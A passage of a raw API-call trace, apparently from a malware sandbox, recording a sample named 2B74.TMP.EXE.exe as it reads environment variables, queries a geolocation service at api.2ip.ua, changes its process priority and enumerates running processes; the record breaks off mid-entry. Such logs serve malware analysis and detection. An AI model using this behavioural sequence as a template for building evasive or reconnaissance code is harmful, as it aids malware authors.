lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0033.484] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x1b) returned 0x38622c8 [0033.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x38622c8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramData=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 27 [0033.484] GetLastError () returned 0x0 [0033.484] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3864320) returned 0x58 [0033.484] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x3864320, Size=0x5c) returned 0x3864320 [0033.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0033.484] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x24) returned 0x385e1a0 [0033.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x385e1a0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 36 [0033.485] GetLastError () returned 0x0 [0033.485] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3864320) returned 0x5c [0033.485] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x3864320, Size=0x60) returned 0x3864320 [0033.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0033.485] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x29) returned 0x385e980 [0033.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x385e980, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles(x86)=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 41 [0033.485] GetLastError () returned 0x0 [0033.485] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3864320) returned 0x60 [0033.485] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x3864320, Size=0x64) returned 0x3864320 [0033.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0033.485] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x1e) returned 0x38622f0 [0033.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x38622f0, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramW6432=C:\\Program Files", lpUsedDefaultChar=0x0) returned 30 [0033.485] GetLastError () returned 0x0 [0033.485] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3864320) returned 0x64 [0033.485] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x3864320, Size=0x68) returned 0x3864320 [0033.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0033.485] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x41) returned 0x385a6a0 [0033.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x385a6a0, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpUsedDefaultChar=0x0) returned 65 [0033.485] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3864320) returned 0x68 [0033.485] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x3864320, Size=0x6c) returned 0x3864320 [0033.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0033.485] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x17) returned 0x3864398 [0033.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x3864398, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PUBLIC=C:\\Users\\Public", lpUsedDefaultChar=0x0) returned 23 [0033.485] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3864320) returned 0x6c [0033.485] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x3864320, Size=0x70) returned 0x3864320 [0033.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0033.485] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0xf) returned 0x3861d08 [0033.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x3861d08, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive=C:", lpUsedDefaultChar=0x0) returned 15 [0033.485] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3864320) returned 0x70 [0033.485] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x3864320, Size=0x74) returned 0x38643b8 [0033.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0033.485] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x16) returned 0x3864320 [0033.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x3864320, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemRoot=C:\\Windows", lpUsedDefaultChar=0x0) returned 22 [0033.486] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x38643b8) returned 0x74 [0033.486] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x38643b8, Size=0x78) returned 0x38643b8 [0033.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0033.486] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x2a) returned 0x385e9b8 [0033.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x385e9b8, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 42 [0033.486] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x38643b8) returned 0x78 [0033.486] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x38643b8, Size=0x7c) returned 0x38643b8 [0033.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0033.486] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x29) returned 0x385e9f0 [0033.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x385e9f0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 41 [0033.486] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x38643b8) returned 0x7c [0033.486] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x38643b8, Size=0x80) returned 0x38643b8 [0033.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0033.486] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x15) returned 0x3864340 [0033.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x3864340, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERDOMAIN=XDUWTFONO", lpUsedDefaultChar=0x0) returned 21 [0033.486] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x38643b8) returned 0x80 [0033.486] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x38643b8, Size=0x84) returned 0x38643b8 [0033.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0033.486] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x1e) returned 0x3862318 [0033.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x3862318, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERNAME=5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 30 [0033.486] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x38643b8) returned 0x84 [0033.486] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x38643b8, Size=0x88) returned 0x38643b8 [0033.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0033.486] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x2a) returned 0x385ea28 [0033.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x385ea28, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 42 [0033.486] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x38643b8) returned 0x88 [0033.486] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x38643b8, Size=0x8c) returned 0x38643b8 [0033.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0033.486] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x12) returned 0x3864360 [0033.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x3864360, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windir=C:\\Windows", lpUsedDefaultChar=0x0) returned 18 [0033.486] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x38643b8) returned 0x8c [0033.486] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x38643b8, Size=0x90) returned 0x38643b8 [0033.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0033.487] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x18) returned 0x3864450 [0033.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x3864450, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_flags=3", lpUsedDefaultChar=0x0) returned 24 [0033.487] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x38643b8) returned 0x90 [0033.487] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x38643b8, Size=0x94) returned 0x3864470 [0033.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0033.487] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x8, Size=0x46) returned 0x385a6f0 [0033.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x385a6f0, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", lpUsedDefaultChar=0x0) returned 70 [0033.487] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3864470) returned 0x94 [0033.487] RtlReAllocateHeap (Heap=0x3840000, Flags=0x0, Ptr=0x3864470, Size=0x98) returned 0x3864470 [0033.487] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3863e30) returned 0x80 [0033.487] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3863e30) returned 0x80 [0033.487] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3863e30) returned 0x80 [0033.487] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x8ec) returned 0x3865fe8 [0033.488] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3863e30) returned 0x80 [0033.488] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x10) returned 0x3861d20 [0033.488] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3863e30) returned 0x80 [0033.488] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3863e30) returned 0x80 [0033.488] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3863e30) returned 0x80 [0033.489] RtlSizeHeap (HeapHandle=0x3840000, Flags=0x0, MemoryPointer=0x3863e30) returned 0x80 [0033.490] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0034.471] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x40) returned 0x3858b08 [0034.471] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0041.297] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18b450, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x18dc50 | out: lpBuffer=0x18b450*, lpdwNumberOfBytesRead=0x18dc50*=0x1d1) returned 1 [0041.298] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0041.300] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0041.300] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x20) returned 0x386c140 [0041.300] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x1e0) returned 0x62d3370 [0041.300] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x62d3370 | out: hHeap=0x3840000) returned 1 [0041.300] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x386c140 | out: hHeap=0x3840000) returned 1 [0041.300] HeapFree (in: hHeap=0x3840000, dwFlags=0x0, lpMem=0x3858b08 | out: hHeap=0x3840000) returned 1 [0041.300] GetCurrentProcess () returned 0xffffffff [0041.300] GetLastError () returned 0x2 [0041.301] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0041.301] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x10) returned 0x3894e90 [0041.301] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x8ec) returned 0x62ca1b0 [0041.301] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x800) returned 0x38a2db0 [0041.301] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x38a2db0, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2b74.tmp.exe.exe")) returned 0x36 [0041.301] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0041.301] RtlAllocateHeap (HeapHandle=0x3840000, Flags=0x0, Size=0x810) returned 0x62caaa8 [0041.301] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe\" " [0041.301] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe\" ", pNumArgs=0x18dd30 | out: pNumArgs=0x18dd30) returned 0x3898950*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe" [0041.301] lstrcpyW (in: lpString1=0x18e9c0, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe" [0041.301] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe\" " [0041.302] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe\" ", pNumArgs=0x18dccc | out: pNumArgs=0x18dccc) returned 0x3898950*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe" [0041.302] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe") returned="2B74.TMP.EXE.exe" [0041.302] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76c20000 [0041.302] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcesses") returned 0x0 [0041.302] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcessModules") returned 0x0 [0041.303] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleBaseNameW") returned 0x0 [0041.303] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x75140000 [0041.305] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcesses") returned 0x75141544 [0041.306] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcessModules") returned 0x75141408 [0041.306] GetProcAddress (hModule=0x75140000, lpProcName="GetModuleBaseNameW") returned 0x7514152c [0041.306] EnumProcesses (in: lpidProcess=0x1834c8, cb=0xa000, lpcbNeeded=0x18dcd8 | out: lpidProcess=0x1834c8, lpcbNeeded=0x18dcd8) returned 1 [0041.308] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0041.309] CloseHandle (hObject=0x0) returned 0 [0041.309] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0041.309] CloseHandle (hObject=0x0) returned 0 [0041.309] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0041.309] CloseHandle (hObject=0x0) returned 0 [0041.309] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0041.309] CloseHandle (hObject=0x0) returned 0 [0041.309] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0041.309] CloseHandle (hObject=0x0) returned 0 [0041.309] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0041.309] CloseHandle (hObject=0x0) returned 0 [0041.309] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0041.309] CloseHandle (hObject=0x0) returned 0 [0041.309] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1cc) returned 0x0 [0041.309] CloseHandle (hObject=0x0) returned 0 [0041.309] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d4) returned 0x0 [0041.309] CloseHandle (hObject=0x0) returned 0 [0041.309] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1dc) returned 0x0 [0041.309] CloseHandle (hObject=0x0) returned 0 [0041.309] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0041.309] CloseHandle (hObject=0x0) returned 0 [0041.309] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0041.309] CloseHandle (hObject=0x0) returned 0 [0041.310] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0041.310] CloseHandle (hObject=0x0) returned 0 [0041.310] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x334) returned 0x0 [0041.310] CloseHandle (hObject=0x0) returned 0 [0041.310] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x36c) returned 0x0 [0041.310] CloseHandle (hObject=0x0) returned 0 [0041.310] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a8) returned 0x0 [0041.310] CloseHandle (hObject=0x0) returned 0 [0041.310] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3f8) returned 0x0 [0041.310] CloseHandle (hObject=0x0) returned 0 [0041.310] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x124) returned 0x0 [0041.310] CloseHandle (hObject=0x0) returned 0 [0041.310] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0x5c0 [0041.310] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 0 [0041.310] CloseHandle (hObject=0x5c0) returned 1 [0041.310] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x45c) returned 0x5c0 [0041.310] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 0 [0041.310] CloseHandle (hObject=0x5c0) returned 1 [0041.310] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x480) returned 0x0 [0041.311] CloseHandle (hObject=0x0) returned 0 [0041.311] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4ac) returned 0x5c0 [0041.311] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 0 [0041.311] CloseHandle (hObject=0x5c0) returned 1 [0041.311] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d4) returned 0x0 [0041.311] CloseHandle (hObject=0x0) returned 0 [0041.311] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x50c) returned 0x5c0 [0041.311] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 0 [0041.311] CloseHandle (hObject=0x5c0) returned 1 [0041.311] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4a0) returned 0x0 [0041.311] CloseHandle (hObject=0x0) returned 0 [0041.311] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x78c) returned 0x5c0 [0041.311] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0041.312] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x1100000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="younger-effectiveness.exe") returned 0x19 [0041.312] CloseHandle (hObject=0x5c0) returned 1 [0041.312] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc0) returned 0x5c0 [0041.312] EnumProcessModules (in: hProcess=0x5c0, lphModule=0x18dce4, cb=0x4, lpcbNeeded=0x18dcc8 | out: lphModule=0x18dce4, lpcbNeeded=0x18dcc8) returned 1 [0041.313] GetModuleBaseNameW (in: hProcess=0x5c0, hModule=0x1240000, lpBaseName=0x18d4c8, nSize=0x400 | out: lpBaseName="tunes.exe") returned 0x9 [0041.314] CloseHandle (hObject=0x5c0) returned 1 [0041.314] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7d8) returned 0x5c0 [0041.314] 